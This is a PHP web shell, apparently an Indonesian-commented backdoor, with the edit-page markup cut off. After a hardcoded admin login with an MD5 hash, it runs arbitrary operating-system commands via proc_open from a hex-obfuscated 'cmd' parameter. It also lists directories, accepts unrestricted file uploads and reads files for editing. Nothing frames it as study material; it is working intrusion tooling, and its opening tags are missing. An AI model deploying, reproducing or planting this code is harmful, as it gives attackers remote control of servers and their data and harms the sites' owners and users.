session_start();
$username = "admin";
$passwordHash = "6c90e5171bfdc3c62ce8925898e0db2d";
// Autentikasi
if (isset($_POST['username']) && isset($_POST['password'])) {
$inputUsername = $_POST['username'];
$inputPassword = md5($_POST['password']);
if ($inputUsername === $username && $inputPassword === $passwordHash) {
$token = generateUUID(); // Fungsi generateUUID dijelaskan di bawah
$_SESSION['token'] = $token;
$_SESSION['authenticated'] = true;
$_SESSION['username'] = $username;
} else {
echo "Login gagal!";
exit;
}
}
// Cek sesi autentikasi
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
exit;
}
// Sesi autentikasi sukses, lanjutkan eksekusi kode berikutnya
$dir = isset($_GET['dir']) ? hex2bin($_GET['dir']) : '.';
$files = scandir($dir);
$upload_message = '';
$edit_message = '';
$delete_message = '';
function get_file_permissions($file): string {
return substr(sprintf('%o', fileperms($file)), -4);
}
function is_writable_permission($file): bool {
return is_writable($file);
}
function executeCommand($command, $workingDirectory = null)
{
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($command, $descriptorspec, $pipes, $workingDirectory);
if (is_resource($process)) {
// Read output from stdout and stderr
$output_stdout = stream_get_contents($pipes[1]);
$output_stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
} else {
return "Failed to execute command.";
}
}
if (isset($_GET['636d64'])) {
$command = hex2bin($_GET['636d64']);
$result = executeCommand($command, $dir);
}
if (isset($_FILES['file_upload'])) {
if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $dir . '/' . $_FILES['file_upload']['name'])) {
$upload_message = 'File berhasil diunggah.';
} else {
$upload_message = 'Gagal mengunggah file.';
}
}
if (isset($_POST['edit_file'])) {
$file = $_POST['edit_file'];
$content = file_get_contents($file);
if ($content !== false) {
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Edit File <title>Edit File</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
text-align: center;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
form {
width: 50%;
margin: auto;
text-align: left;
}
textarea {
width: 100%;
height: 300px;
}
input[type="submit"] {
background-color: #4CAF50;
border: none;
color: white;
cursor: pointer;
margin-top: 1rem;
padding: 0.5rem 1rem;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.btn {
background-color: #4CAF50;
border: none;
color: white;
cursor: pointer;
margin-left: 1rem;
padding: 0.5rem 1rem;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
}
.btn-download {
background-color: #008CBA; /* Ganti warna sesuai kebutuhan */
border: none;
color: white;
cursor: pointer;
margin-left: 1rem;
padding: 0.5rem 1rem;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
}
.btn:hover {
background-color: #45a049;
}
</style>
<header>
Edit File
</header>
<main>
</main>